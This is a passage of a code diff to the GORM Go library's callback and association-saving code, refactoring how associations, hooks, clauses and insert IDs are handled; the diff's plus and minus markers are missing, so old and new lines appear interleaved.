c.processor.db.Logger.Warn(context.Background(), "removing callback `%v` from %v\n", name, utils.FileWithLineNum())
c.processor.db.Logger.Warn(context.Background(), "removing callback `%s` from %s\n", name, utils.FileWithLineNum())
c.name = name
c.remove = true
c.processor.callbacks = append(c.processor.callbacks, c)
@@ -189,7 +220,7 @@ func (c *callback) Remove(name string) error {
}
func (c *callback) Replace(name string, fn func(*DB)) error {
c.processor.db.Logger.Info(context.Background(), "replacing callback `%v` from %v\n", name, utils.FileWithLineNum())
c.processor.db.Logger.Info(context.Background(), "replacing callback `%s` from %s\n", name, utils.FileWithLineNum())
c.name = name
c.handler = fn
c.replace = true
@@ -219,7 +250,7 @@ func sortCallbacks(cs []*callback) (fns []func(*DB), err error) {
for _, c := range cs {
// show warning message the callback name already exists
if idx := getRIndex(names, c.name); idx > -1 && !c.replace && !c.remove && !cs[idx].remove {
c.processor.db.Logger.Warn(context.Background(), "duplicated callback `%v` from %v\n", c.name, utils.FileWithLineNum())
c.processor.db.Logger.Warn(context.Background(), "duplicated callback `%s` from %s\n", c.name, utils.FileWithLineNum())
}
names = append(names, c.name)
}
@@ -235,7 +266,7 @@ func sortCallbacks(cs []*callback) (fns []func(*DB), err error) {
// if before callback already sorted, append current callback just after it
sorted = append(sorted[:sortedIdx], append([]string{c.name}, sorted[sortedIdx:]...)...)
} else if curIdx > sortedIdx {
return fmt.Errorf("conflicting callback %v with before %v", c.name, c.before)
return fmt.Errorf("conflicting callback %s with before %s", c.name, c.before)
}
} else if idx := getRIndex(names, c.before); idx != -1 {
// if before callback exists
@@ -253,7 +284,7 @@ func sortCallbacks(cs []*callback) (fns []func(*DB), err error) {
// if after callback sorted, append current callback to last
sorted = append(sorted, c.name)
} else if curIdx < sortedIdx {
return fmt.Errorf("conflicting callback %v with before %v", c.name, c.after)
return fmt.Errorf("conflicting callback %s with before %s", c.name, c.after)
}
} else if idx := getRIndex(names, c.after); idx != -1 {
// if after callback exists but haven't sorted
+287 -243
View File
@@ -2,85 +2,88 @@ package callbacks
import (
"reflect"
"strings"
"gorm.io/gorm"
"gorm.io/gorm/clause"
"gorm.io/gorm/schema"
)
func SaveBeforeAssociations(db *gorm.DB) {
if db.Error == nil && db.Statement.Schema != nil {
selectColumns, restricted := db.Statement.SelectAndOmitColumns(true, false)
func SaveBeforeAssociations(create bool) func(db *gorm.DB) {
return func(db *gorm.DB) {
if db.Error == nil && db.Statement.Schema != nil {
selectColumns, restricted := db.Statement.SelectAndOmitColumns(create, !create)
// Save Belongs To associations
for _, rel := range db.Statement.Schema.Relationships.BelongsTo {
if v, ok := selectColumns[rel.Name]; (ok && !v) || (!ok && restricted) {
continue
}
// Save Belongs To associations
for _, rel := range db.Statement.Schema.Relationships.BelongsTo {
if v, ok := selectColumns[rel.Name]; (ok && !v) || (!ok && restricted) {
continue
}
setupReferences := func(obj reflect.Value, elem reflect.Value) {
for _, ref := range rel.References {
if !ref.OwnPrimaryKey {
pv, _ := ref.PrimaryKey.ValueOf(elem)
db.AddError(ref.ForeignKey.Set(obj, pv))
setupReferences := func(obj reflect.Value, elem reflect.Value) {
for _, ref := range rel.References {
if !ref.OwnPrimaryKey {
pv, _ := ref.PrimaryKey.ValueOf(elem)
db.AddError(ref.ForeignKey.Set(obj, pv))
if dest, ok := db.Statement.Dest.(map[string]interface{}); ok {
dest[ref.ForeignKey.DBName] = pv
if _, ok := dest[rel.Name]; ok {
dest[rel.Name] = elem.Interface()
if dest, ok := db.Statement.Dest.(map[string]interface{}); ok {
dest[ref.ForeignKey.DBName] = pv
if _, ok := dest[rel.Name]; ok {
dest[rel.Name] = elem.Interface()
}
}
}
}
}
}
switch db.Statement.ReflectValue.Kind() {
case reflect.Slice, reflect.Array:
var (
objs []reflect.Value
fieldType = rel.Field.FieldType
isPtr = fieldType.Kind() == reflect.Ptr
)
switch db.Statement.ReflectValue.Kind() {
case reflect.Slice, reflect.Array:
var (
objs = make([]reflect.Value, 0, db.Statement.ReflectValue.Len())
fieldType = rel.Field.FieldType
isPtr = fieldType.Kind() == reflect.Ptr
)
if !isPtr {
fieldType = reflect.PtrTo(fieldType)
}
if !isPtr {
fieldType = reflect.PtrTo(fieldType)
}
elems := reflect.MakeSlice(reflect.SliceOf(fieldType), 0, 0)
for i := 0; i < db.Statement.ReflectValue.Len(); i++ {
obj := db.Statement.ReflectValue.Index(i)
elems := reflect.MakeSlice(reflect.SliceOf(fieldType), 0, 10)
for i := 0; i < db.Statement.ReflectValue.Len(); i++ {
obj := db.Statement.ReflectValue.Index(i)
if reflect.Indirect(obj).Kind() == reflect.Struct {
if _, zero := rel.Field.ValueOf(obj); !zero { // check belongs to relation value
rv := rel.Field.ReflectValueOf(obj) // relation reflect value
objs = append(objs, obj)
if isPtr {
elems = reflect.Append(elems, rv)
} else {
elems = reflect.Append(elems, rv.Addr())
if reflect.Indirect(obj).Kind() == reflect.Struct {
if _, zero := rel.Field.ValueOf(obj); !zero { // check belongs to relation value
rv := rel.Field.ReflectValueOf(obj) // relation reflect value
objs = append(objs, obj)
if isPtr {
elems = reflect.Append(elems, rv)
} else {
elems = reflect.Append(elems, rv.Addr())
}
}
} else {
break
}
}
if elems.Len() > 0 {
if saveAssociations(db, rel, elems.Interface(), selectColumns, restricted, nil) == nil {
for i := 0; i < elems.Len(); i++ {
setupReferences(objs[i], elems.Index(i))
}
}
} else {
break
}
}
if elems.Len() > 0 {
if db.AddError(db.Session(&gorm.Session{}).Clauses(onConflictOption(db.Statement, rel.FieldSchema, nil)).Create(elems.Interface()).Error) == nil {
for i := 0; i < elems.Len(); i++ {
setupReferences(objs[i], elems.Index(i))
case reflect.Struct:
if _, zero := rel.Field.ValueOf(db.Statement.ReflectValue); !zero {
rv := rel.Field.ReflectValueOf(db.Statement.ReflectValue) // relation reflect value
if rv.Kind() != reflect.Ptr {
rv = rv.Addr()
}
}
}
case reflect.Struct:
if _, zero := rel.Field.ValueOf(db.Statement.ReflectValue); !zero {
rv := rel.Field.ReflectValueOf(db.Statement.ReflectValue) // relation reflect value
if rv.Kind() != reflect.Ptr {
rv = rv.Addr()
}
if db.AddError(db.Session(&gorm.Session{}).Clauses(onConflictOption(db.Statement, rel.FieldSchema, nil)).Create(rv.Interface()).Error) == nil {
setupReferences(db.Statement.ReflectValue, rv)
if saveAssociations(db, rel, rv.Interface(), selectColumns, restricted, nil) == nil {
setupReferences(db.Statement.ReflectValue, rv)
}
}
}
}
@@ -88,248 +91,289 @@ func SaveBeforeAssociations(db *gorm.DB) {
}
}
func SaveAfterAssociations(db *gorm.DB) {
if db.Error == nil && db.Statement.Schema != nil {
selectColumns, restricted := db.Statement.SelectAndOmitColumns(true, false)
func SaveAfterAssociations(create bool) func(db *gorm.DB) {
return func(db *gorm.DB) {
if db.Error == nil && db.Statement.Schema != nil {
selectColumns, restricted := db.Statement.SelectAndOmitColumns(create, !create)
// Save Has One associations
for _, rel := range db.Statement.Schema.Relationships.HasOne {
if v, ok := selectColumns[rel.Name]; (ok && !v) || (!ok && restricted) {
continue
// Save Has One associations
for _, rel := range db.Statement.Schema.Relationships.HasOne {
if v, ok := selectColumns[rel.Name]; (ok && !v) || (!ok && restricted) {
continue
}
switch db.Statement.ReflectValue.Kind() {
case reflect.Slice, reflect.Array:
var (
fieldType = rel.Field.FieldType
isPtr = fieldType.Kind() == reflect.Ptr
)
if !isPtr {
fieldType = reflect.PtrTo(fieldType)
}
elems := reflect.MakeSlice(reflect.SliceOf(fieldType), 0, 10)
for i := 0; i < db.Statement.ReflectValue.Len(); i++ {
obj := db.Statement.ReflectValue.Index(i)
if reflect.Indirect(obj).Kind() == reflect.Struct {
if _, zero := rel.Field.ValueOf(obj); !zero {
rv := rel.Field.ReflectValueOf(obj)
if rv.Kind() != reflect.Ptr {
rv = rv.Addr()
}
for _, ref := range rel.References {
if ref.OwnPrimaryKey {
fv, _ := ref.PrimaryKey.ValueOf(obj)
db.AddError(ref.ForeignKey.Set(rv, fv))
} else if ref.PrimaryValue != "" {
db.AddError(ref.ForeignKey.Set(rv, ref.PrimaryValue))
}
}
elems = reflect.Append(elems, rv)
}
}
}
if elems.Len() > 0 {
assignmentColumns := make([]string, 0, len(rel.References))
for _, ref := range rel.References {
assignmentColumns = append(assignmentColumns, ref.ForeignKey.DBName)
}
saveAssociations(db, rel, elems.Interface(), selectColumns, restricted, assignmentColumns)
}
case reflect.Struct:
if _, zero := rel.Field.ValueOf(db.Statement.ReflectValue); !zero {
f := rel.Field.ReflectValueOf(db.Statement.ReflectValue)
if f.Kind() != reflect.Ptr {
f = f.Addr()
}
assignmentColumns := make([]string, 0, len(rel.References))
for _, ref := range rel.References {
if ref.OwnPrimaryKey {
fv, _ := ref.PrimaryKey.ValueOf(db.Statement.ReflectValue)
ref.ForeignKey.Set(f, fv)
} else if ref.PrimaryValue != "" {
ref.ForeignKey.Set(f, ref.PrimaryValue)
}
assignmentColumns = append(assignmentColumns, ref.ForeignKey.DBName)
}
saveAssociations(db, rel, f.Interface(), selectColumns, restricted, assignmentColumns)
}
}
}
switch db.Statement.ReflectValue.Kind() {
case reflect.Slice, reflect.Array:
var (
fieldType = rel.Field.FieldType
isPtr = fieldType.Kind() == reflect.Ptr
)
// Save Has Many associations
for _, rel := range db.Statement.Schema.Relationships.HasMany {
if v, ok := selectColumns[rel.Name]; (ok && !v) || (!ok && restricted) {
continue
}
fieldType := rel.Field.IndirectFieldType.Elem()
isPtr := fieldType.Kind() == reflect.Ptr
if !isPtr {
fieldType = reflect.PtrTo(fieldType)
}
elems := reflect.MakeSlice(reflect.SliceOf(fieldType), 0, 10)
appendToElems := func(v reflect.Value) {
if _, zero := rel.Field.ValueOf(v); !zero {
f := reflect.Indirect(rel.Field.ReflectValueOf(v))
elems := reflect.MakeSlice(reflect.SliceOf(fieldType), 0, 0)
for i := 0; i < db.Statement.ReflectValue.Len(); i++ {
obj := db.Statement.ReflectValue.Index(i)
if reflect.Indirect(obj).Kind() == reflect.Struct {
if _, zero := rel.Field.ValueOf(obj); !zero {
rv := rel.Field.ReflectValueOf(obj)
if rv.Kind() != reflect.Ptr {
rv = rv.Addr()
}
for i := 0; i < f.Len(); i++ {
elem := f.Index(i)
for _, ref := range rel.References {
if ref.OwnPrimaryKey {
fv, _ := ref.PrimaryKey.ValueOf(obj)
db.AddError(ref.ForeignKey.Set(rv, fv))
pv, _ := ref.PrimaryKey.ValueOf(v)
ref.ForeignKey.Set(elem, pv)
} else if ref.PrimaryValue != "" {
db.AddError(ref.ForeignKey.Set(rv, ref.PrimaryValue))
ref.ForeignKey.Set(elem, ref.PrimaryValue)
}
}
elems = reflect.Append(elems, rv)
if isPtr {
elems = reflect.Append(elems, elem)
} else {
elems = reflect.Append(elems, elem.Addr())
}
}
}
}
switch db.Statement.ReflectValue.Kind() {
case reflect.Slice, reflect.Array:
for i := 0; i < db.Statement.ReflectValue.Len(); i++ {
obj := db.Statement.ReflectValue.Index(i)
if reflect.Indirect(obj).Kind() == reflect.Struct {
appendToElems(obj)
}
}
case reflect.Struct:
appendToElems(db.Statement.ReflectValue)
}
if elems.Len() > 0 {
assignmentColumns := []string{}
assignmentColumns := make([]string, 0, len(rel.References))
for _, ref := range rel.References {
assignmentColumns = append(assignmentColumns, ref.ForeignKey.DBName)
}
db.AddError(db.Session(&gorm.Session{}).Clauses(
onConflictOption(db.Statement, rel.FieldSchema, assignmentColumns),
).Create(elems.Interface()).Error)
saveAssociations(db, rel, elems.Interface(), selectColumns, restricted, assignmentColumns)
}
case reflect.Struct:
if _, zero := rel.Field.ValueOf(db.Statement.ReflectValue); !zero {
f := rel.Field.ReflectValueOf(db.Statement.ReflectValue)
if f.Kind() != reflect.Ptr {
f = f.Addr()
}
}
assignmentColumns := []string{}
// Save Many2Many associations
for _, rel := range db.Statement.Schema.Relationships.Many2Many {
if v, ok := selectColumns[rel.Name]; (ok && !v) || (!ok && restricted) {
continue
}
fieldType := rel.Field.IndirectFieldType.Elem()
isPtr := fieldType.Kind() == reflect.Ptr
if !isPtr {
fieldType = reflect.PtrTo(fieldType)
}
elems := reflect.MakeSlice(reflect.SliceOf(fieldType), 0, 10)
joins := reflect.MakeSlice(reflect.SliceOf(reflect.PtrTo(rel.JoinTable.ModelType)), 0, 10)
objs := []reflect.Value{}
appendToJoins := func(obj reflect.Value, elem reflect.Value) {
joinValue := reflect.New(rel.JoinTable.ModelType)
for _, ref := range rel.References {
if ref.OwnPrimaryKey {
fv, _ := ref.PrimaryKey.ValueOf(db.Statement.ReflectValue)
ref.ForeignKey.Set(f, fv)
fv, _ := ref.PrimaryKey.ValueOf(obj)
ref.ForeignKey.Set(joinValue, fv)
} else if ref.PrimaryValue != "" {
ref.ForeignKey.Set(f, ref.PrimaryValue)
ref.ForeignKey.Set(joinValue, ref.PrimaryValue)
} else {
fv, _ := ref.PrimaryKey.ValueOf(elem)
ref.ForeignKey.Set(joinValue, fv)
}
assignmentColumns = append(assignmentColumns, ref.ForeignKey.DBName)
}
db.AddError(db.Session(&gorm.Session{}).Clauses(
onConflictOption(db.Statement, rel.FieldSchema, assignmentColumns),
).Create(f.Interface()).Error)
joins = reflect.Append(joins, joinValue)
}
}
}
// Save Has Many associations
for _, rel := range db.Statement.Schema.Relationships.HasMany {
if v, ok := selectColumns[rel.Name]; (ok && !v) || (!ok && restricted) {
continue
}
appendToElems := func(v reflect.Value) {
if _, zero := rel.Field.ValueOf(v); !zero {
f := reflect.Indirect(rel.Field.ReflectValueOf(v))
fieldType := rel.Field.IndirectFieldType.Elem()
isPtr := fieldType.Kind() == reflect.Ptr
if !isPtr {
fieldType = reflect.PtrTo(fieldType)
}
elems := reflect.MakeSlice(reflect.SliceOf(fieldType), 0, 0)
appendToElems := func(v reflect.Value) {
if _, zero := rel.Field.ValueOf(v); !zero {
f := reflect.Indirect(rel.Field.ReflectValueOf(v))
for i := 0; i < f.Len(); i++ {
elem := f.Index(i)
for i := 0; i < f.Len(); i++ {
elem := f.Index(i)
for _, ref := range rel.References {
if ref.OwnPrimaryKey {
pv, _ := ref.PrimaryKey.ValueOf(v)
ref.ForeignKey.Set(elem, pv)
} else if ref.PrimaryValue != "" {
ref.ForeignKey.Set(elem, ref.PrimaryValue)
objs = append(objs, v)
if isPtr {
elems = reflect.Append(elems, elem)
} else {
elems = reflect.Append(elems, elem.Addr())
}
}
}
}
if isPtr {
elems = reflect.Append(elems, elem)
} else {
elems = reflect.Append(elems, elem.Addr())
switch db.Statement.ReflectValue.Kind() {
case reflect.Slice, reflect.Array:
for i := 0; i < db.Statement.ReflectValue.Len(); i++ {
obj := db.Statement.ReflectValue.Index(i)
if reflect.Indirect(obj).Kind() == reflect.Struct {
appendToElems(obj)
}
}
case reflect.Struct:
appendToElems(db.Statement.ReflectValue)
}
}
switch db.Statement.ReflectValue.Kind() {
case reflect.Slice, reflect.Array:
for i := 0; i < db.Statement.ReflectValue.Len(); i++ {
obj := db.Statement.ReflectValue.Index(i)
if reflect.Indirect(obj).Kind() == reflect.Struct {
appendToElems(obj)
// optimize elems of reflect value length
if elemLen := elems.Len(); elemLen > 0 {
if v, ok := selectColumns[rel.Name+".*"]; !ok || v {
saveAssociations(db, rel, elems.Interface(), selectColumns, restricted, nil)
}
for i := 0; i < elemLen; i++ {
appendToJoins(objs[i], elems.Index(i))
}
}
case reflect.Struct:
appendToElems(db.Statement.ReflectValue)
}
if elems.Len() > 0 {
assignmentColumns := []string{}
for _, ref := range rel.References {
assignmentColumns = append(assignmentColumns, ref.ForeignKey.DBName)
if joins.Len() > 0 {
db.AddError(db.Session(&gorm.Session{NewDB: true}).Clauses(clause.OnConflict{DoNothing: true}).Session(&gorm.Session{
SkipHooks: db.Statement.SkipHooks,
DisableNestedTransaction: true,
}).Create(joins.Interface()).Error)
}
db.AddError(db.Session(&gorm.Session{}).Clauses(
onConflictOption(db.Statement, rel.FieldSchema, assignmentColumns),
).Create(elems.Interface()).Error)
}
}
// Save Many2Many associations
for _, rel := range db.Statement.Schema.Relationships.Many2Many {
if v, ok := selectColumns[rel.Name]; (ok && !v) || (!ok && restricted) {
continue
}
fieldType := rel.Field.IndirectFieldType.Elem()
isPtr := fieldType.Kind() == reflect.Ptr
if !isPtr {
fieldType = reflect.PtrTo(fieldType)
}
elems := reflect.MakeSlice(reflect.SliceOf(fieldType), 0, 0)
joins := reflect.MakeSlice(reflect.SliceOf(reflect.PtrTo(rel.JoinTable.ModelType)), 0, 0)
objs := []reflect.Value{}
appendToJoins := func(obj reflect.Value, elem reflect.Value) {
joinValue := reflect.New(rel.JoinTable.ModelType)
for _, ref := range rel.References {
if ref.OwnPrimaryKey {
fv, _ := ref.PrimaryKey.ValueOf(obj)
ref.ForeignKey.Set(joinValue, fv)
} else if ref.PrimaryValue != "" {
ref.ForeignKey.Set(joinValue, ref.PrimaryValue)
} else {
fv, _ := ref.PrimaryKey.ValueOf(elem)
ref.ForeignKey.Set(joinValue, fv)
}
}
joins = reflect.Append(joins, joinValue)
}
appendToElems := func(v reflect.Value) {
if _, zero := rel.Field.ValueOf(v); !zero {
f := reflect.Indirect(rel.Field.ReflectValueOf(v))
for i := 0; i < f.Len(); i++ {
elem := f.Index(i)
objs = append(objs, v)
if isPtr {
elems = reflect.Append(elems, elem)
} else {
elems = reflect.Append(elems, elem.Addr())
}
}
}
}
switch db.Statement.ReflectValue.Kind() {
case reflect.Slice, reflect.Array:
for i := 0; i < db.Statement.ReflectValue.Len(); i++ {
obj := db.Statement.ReflectValue.Index(i)
if reflect.Indirect(obj).Kind() == reflect.Struct {
appendToElems(obj)
}
}
case reflect.Struct:
appendToElems(db.Statement.ReflectValue)
}
if elems.Len() > 0 {
db.AddError(db.Session(&gorm.Session{}).Clauses(onConflictOption(db.Statement, rel.FieldSchema, nil)).Create(elems.Interface()).Error)
for i := 0; i < elems.Len(); i++ {
appendToJoins(objs[i], elems.Index(i))
}
}
if joins.Len() > 0 {
db.AddError(db.Session(&gorm.Session{}).Clauses(clause.OnConflict{DoNothing: true}).Create(joins.Interface()).Error)
}
}
}
}
func onConflictOption(stmt *gorm.Statement, s *schema.Schema, defaultUpdatingColumns []string) clause.OnConflict {
if stmt.DB.FullSaveAssociations {
defaultUpdatingColumns = make([]string, 0, len(s.DBNames))
for _, dbName := range s.DBNames {
if !s.LookUpField(dbName).PrimaryKey {
defaultUpdatingColumns = append(defaultUpdatingColumns, dbName)
}
func onConflictOption(stmt *gorm.Statement, s *schema.Schema, selectColumns map[string]bool, restricted bool, defaultUpdatingColumns []string) (onConflict clause.OnConflict) {
if len(defaultUpdatingColumns) > 0 || stmt.DB.FullSaveAssociations {
onConflict.Columns = make([]clause.Column, 0, len(s.PrimaryFieldDBNames))
for _, dbName := range s.PrimaryFieldDBNames {
onConflict.Columns = append(onConflict.Columns, clause.Column{Name: dbName})
}
onConflict.UpdateAll = stmt.DB.FullSaveAssociations
if !onConflict.UpdateAll {
onConflict.DoUpdates = clause.AssignmentColumns(defaultUpdatingColumns)
}
} else {
onConflict.DoNothing = true
}
if len(defaultUpdatingColumns) > 0 {
var columns []clause.Column
if s.PrioritizedPrimaryField != nil {
columns = []clause.Column{{Name: s.PrioritizedPrimaryField.DBName}}
} else {
for _, dbName := range s.PrimaryFieldDBNames {
columns = append(columns, clause.Column{Name: dbName})
return
}
func saveAssociations(db *gorm.DB, rel *schema.Relationship, values interface{}, selectColumns map[string]bool, restricted bool, defaultUpdatingColumns []string) error {
var (
selects, omits []string
onConflict = onConflictOption(db.Statement, rel.FieldSchema, selectColumns, restricted, defaultUpdatingColumns)
refName = rel.Name + "."
)
for name, ok := range selectColumns {
columnName := ""
if strings.HasPrefix(name, refName) {
columnName = strings.TrimPrefix(name, refName)
}
if columnName != "" {
if ok {
selects = append(selects, columnName)
} else {
omits = append(omits, columnName)
}
}
}
tx := db.Session(&gorm.Session{NewDB: true}).Clauses(onConflict).Session(&gorm.Session{
FullSaveAssociations: db.FullSaveAssociations,
SkipHooks: db.Statement.SkipHooks,
DisableNestedTransaction: true,
})
return clause.OnConflict{
Columns: columns,
DoUpdates: clause.AssignmentColumns(defaultUpdatingColumns),
}
db.Statement.Settings.Range(func(k, v interface{}) bool {
tx.Statement.Settings.Store(k, v)
return true
})
if tx.Statement.FullSaveAssociations {
tx = tx.Set("gorm:update_track_time", true)
}
if len(selects) > 0 {
tx = tx.Select(selects)
} else if restricted && len(omits) == 0 {
tx = tx.Omit(clause.Associations)
}
if len(omits) > 0 {
tx = tx.Omit(omits...)
}
return clause.OnConflict{DoNothing: true}
return db.AddError(tx.Create(values).Error)
}
+38 -6
View File
@@ -4,9 +4,20 @@ import (
"gorm.io/gorm"
)
var (
createClauses = []string{"INSERT", "VALUES", "ON CONFLICT"}
queryClauses = []string{"SELECT", "FROM", "WHERE", "GROUP BY", "ORDER BY", "LIMIT", "FOR"}
updateClauses = []string{"UPDATE", "SET", "WHERE"}
deleteClauses = []string{"DELETE", "FROM", "WHERE"}
)
type Config struct {
LastInsertIDReversed bool
WithReturning bool
CreateClauses []string
QueryClauses []string
UpdateClauses []string
DeleteClauses []string
}
func RegisterDefaultCallbacks(db *gorm.DB, config *Config) {
@@ -17,16 +28,24 @@ func RegisterDefaultCallbacks(db *gorm.DB, config *Config) {
createCallback := db.Callback().Create()
createCallback.Match(enableTransaction).Register("gorm:begin_transaction", BeginTransaction)
createCallback.Register("gorm:before_create", BeforeCreate)
createCallback.Register("gorm:save_before_associations", SaveBeforeAssociations)
createCallback.Register("gorm:save_before_associations", SaveBeforeAssociations(true))
createCallback.Register("gorm:create", Create(config))
createCallback.Register("gorm:save_after_associations", SaveAfterAssociations)
createCallback.Register("gorm:save_after_associations", SaveAfterAssociations(true))
createCallback.Register("gorm:after_create", AfterCreate)
createCallback.Match(enableTransaction).Register("gorm:commit_or_rollback_transaction", CommitOrRollbackTransaction)
if len(config.CreateClauses) == 0 {
config.CreateClauses = createClauses
}
createCallback.Clauses = config.CreateClauses
queryCallback := db.Callback().Query()
queryCallback.Register("gorm:query", Query)
queryCallback.Register("gorm:preload", Preload)
queryCallback.Register("gorm:after_query", AfterQuery)
if len(config.QueryClauses) == 0 {
config.QueryClauses = queryClauses
}
queryCallback.Clauses = config.QueryClauses
deleteCallback := db.Callback().Delete()
deleteCallback.Match(enableTransaction).Register("gorm:begin_transaction", BeginTransaction)
@@ -35,17 +54,30 @@ func RegisterDefaultCallbacks(db *gorm.DB, config *Config) {
deleteCallback.Register("gorm:delete", Delete)
deleteCallback.Register("gorm:after_delete", AfterDelete)
deleteCallback.Match(enableTransaction).Register("gorm:commit_or_rollback_transaction", CommitOrRollbackTransaction)
if len(config.DeleteClauses) == 0 {
config.DeleteClauses = deleteClauses
}
deleteCallback.Clauses = config.DeleteClauses
updateCallback := db.Callback().Update()
updateCallback.Match(enableTransaction).Register("gorm:begin_transaction", BeginTransaction)
updateCallback.Register("gorm:setup_reflect_value", SetupUpdateReflectValue)
updateCallback.Register("gorm:before_update", BeforeUpdate)
updateCallback.Register("gorm:save_before_associations", SaveBeforeAssociations)
updateCallback.Register("gorm:save_before_associations", SaveBeforeAssociations(false))
updateCallback.Register("gorm:update", Update)
updateCallback.Register("gorm:save_after_associations", SaveAfterAssociations)
updateCallback.Register("gorm:save_after_associations", SaveAfterAssociations(false))
updateCallback.Register("gorm:after_update", AfterUpdate)
updateCallback.Match(enableTransaction).Register("gorm:commit_or_rollback_transaction", CommitOrRollbackTransaction)
if len(config.UpdateClauses) == 0 {
config.UpdateClauses = updateClauses
}
updateCallback.Clauses = config.UpdateClauses
db.Callback().Row().Register("gorm:row", RowQuery)
db.Callback().Raw().Register("gorm:raw", RawExec)
rowCallback := db.Callback().Row()
rowCallback.Register("gorm:row", RowQuery)
rowCallback.Clauses = config.QueryClauses
rawCallback := db.Callback().Raw()
rawCallback.Register("gorm:raw", RawExec)
rawCallback.Clauses = config.QueryClauses
}
+1 -1
View File
@@ -7,7 +7,7 @@ import (
)
func callMethod(db *gorm.DB, fc func(value interface{}, tx *gorm.DB) bool) {
tx := db.Session(&gorm.Session{})
tx := db.Session(&gorm.Session{NewDB: true})
if called := fc(db.Statement.ReflectValue.Interface(), tx); !called {
switch db.Statement.ReflectValue.Kind() {
case reflect.Slice, reflect.Array:
+94 -78
View File
@@ -10,7 +10,7 @@ import (
)
func BeforeCreate(db *gorm.DB) {
if db.Error == nil && db.Statement.Schema != nil && (db.Statement.Schema.BeforeSave || db.Statement.Schema.BeforeCreate) {
if db.Error == nil && db.Statement.Schema != nil && !db.Statement.SkipHooks && (db.Statement.Schema.BeforeSave || db.Statement.Schema.BeforeCreate) {
callMethod(db, func(value interface{}, tx *gorm.DB) (called bool) {
if db.Statement.Schema.BeforeSave {
if i, ok := value.(BeforeSaveInterface); ok {
@@ -33,75 +33,75 @@ func BeforeCreate(db *gorm.DB) {
func Create(config *Config) func(db *gorm.DB) {
if config.WithReturning {
return CreateWithReturning
} else {
return func(db *gorm.DB) {
if db.Error == nil {
if db.Statement.Schema != nil && !db.Statement.Unscoped {
for _, c := range db.Statement.Schema.CreateClauses {
db.Statement.AddClause(c)
}
}
}
if db.Statement.SQL.String() == "" {
db.Statement.SQL.Grow(180)
db.Statement.AddClauseIfNotExists(clause.Insert{})
db.Statement.AddClause(ConvertToCreateValues(db.Statement))
return func(db *gorm.DB) {
if db.Error != nil {
return
}
db.Statement.Build("INSERT", "VALUES", "ON CONFLICT")
}
if db.Statement.Schema != nil && !db.Statement.Unscoped {
for _, c := range db.Statement.Schema.CreateClauses {
db.Statement.AddClause(c)
}
}
if !db.DryRun && db.Error == nil {
result, err := db.Statement.ConnPool.ExecContext(db.Statement.Context, db.Statement.SQL.String(), db.Statement.Vars...)
if db.Statement.SQL.String() == "" {
db.Statement.SQL.Grow(180)
db.Statement.AddClauseIfNotExists(clause.Insert{})
db.Statement.AddClause(ConvertToCreateValues(db.Statement))
if err == nil {
db.RowsAffected, _ = result.RowsAffected()
if db.RowsAffected > 0 {
if db.Statement.Schema != nil && db.Statement.Schema.PrioritizedPrimaryField != nil && db.Statement.Schema.PrioritizedPrimaryField.HasDefaultValue {
if insertID, err := result.LastInsertId(); err == nil {
switch db.Statement.ReflectValue.Kind() {
case reflect.Slice, reflect.Array:
if config.LastInsertIDReversed {
for i := db.Statement.ReflectValue.Len() - 1; i >= 0; i-- {
rv := db.Statement.ReflectValue.Index(i)
if reflect.Indirect(rv).Kind() != reflect.Struct {
break
}
db.Statement.Build(db.Statement.BuildClauses...)
}
_, isZero := db.Statement.Schema.PrioritizedPrimaryField.ValueOf(rv)
if isZero {
db.Statement.Schema.PrioritizedPrimaryField.Set(rv, insertID)
insertID--
}
}
} else {
for i := 0; i < db.Statement.ReflectValue.Len(); i++ {
rv := db.Statement.ReflectValue.Index(i)
if reflect.Indirect(rv).Kind() != reflect.Struct {
break
}
if !db.DryRun && db.Error == nil {
result, err := db.Statement.ConnPool.ExecContext(db.Statement.Context, db.Statement.SQL.String(), db.Statement.Vars...)
if _, isZero := db.Statement.Schema.PrioritizedPrimaryField.ValueOf(rv); isZero {
db.Statement.Schema.PrioritizedPrimaryField.Set(rv, insertID)
insertID++
}
}
}
case reflect.Struct:
if insertID > 0 {
if _, isZero := db.Statement.Schema.PrioritizedPrimaryField.ValueOf(db.Statement.ReflectValue); isZero {
if err != nil {
db.AddError(err)
return
}
db.Statement.Schema.PrioritizedPrimaryField.Set(db.Statement.ReflectValue, insertID)
}
}
}
} else {
db.AddError(err)
db.RowsAffected, _ = result.RowsAffected()
if db.RowsAffected != 0 && db.Statement.Schema != nil &&
db.Statement.Schema.PrioritizedPrimaryField != nil && db.Statement.Schema.PrioritizedPrimaryField.HasDefaultValue {
if insertID, err := result.LastInsertId(); err == nil && insertID > 0 {
switch db.Statement.ReflectValue.Kind() {
case reflect.Slice, reflect.Array:
if config.LastInsertIDReversed {
for i := db.Statement.ReflectValue.Len() - 1; i >= 0; i-- {
rv := db.Statement.ReflectValue.Index(i)
if reflect.Indirect(rv).Kind() != reflect.Struct {
break
}
_, isZero := db.Statement.Schema.PrioritizedPrimaryField.ValueOf(rv)
if isZero {
db.Statement.Schema.PrioritizedPrimaryField.Set(rv, insertID)
insertID -= db.Statement.Schema.PrioritizedPrimaryField.AutoIncrementIncrement
}
}
} else {
for i := 0; i < db.Statement.ReflectValue.Len(); i++ {
rv := db.Statement.ReflectValue.Index(i)
if reflect.Indirect(rv).Kind() != reflect.Struct {
break
}
if _, isZero := db.Statement.Schema.PrioritizedPrimaryField.ValueOf(rv); isZero {
db.Statement.Schema.PrioritizedPrimaryField.Set(rv, insertID)
insertID += db.Statement.Schema.PrioritizedPrimaryField.AutoIncrementIncrement
}
}
}
} else {
db.AddError(err)
case reflect.Struct:
if _, isZero := db.Statement.Schema.PrioritizedPrimaryField.ValueOf(db.Statement.ReflectValue); isZero {
db.Statement.Schema.PrioritizedPrimaryField.Set(db.Statement.ReflectValue, insertID)
}
}
} else {
db.AddError(err)
}
}
}
@@ -120,7 +120,7 @@ func CreateWithReturning(db *gorm.DB) {
db.Statement.AddClauseIfNotExists(clause.Insert{})
db.Statement.AddClause(ConvertToCreateValues(db.Statement))
db.Statement.Build("INSERT", "VALUES", "ON CONFLICT")
db.Statement.Build(db.Statement.BuildClauses...)
}
if sch := db.Statement.Schema; sch != nil && len(sch.FieldsWithDefaultDBValue) > 0 {
@@ -141,6 +141,7 @@ func CreateWithReturning(db *gorm.DB) {
}
if !db.DryRun && db.Error == nil {
db.RowsAffected = 0
rows, err := db.Statement.ConnPool.QueryContext(db.Statement.Context, db.Statement.SQL.String(), db.Statement.Vars...)
if err == nil {
@@ -204,7 +205,7 @@ func CreateWithReturning(db *gorm.DB) {
}
func AfterCreate(db *gorm.DB) {
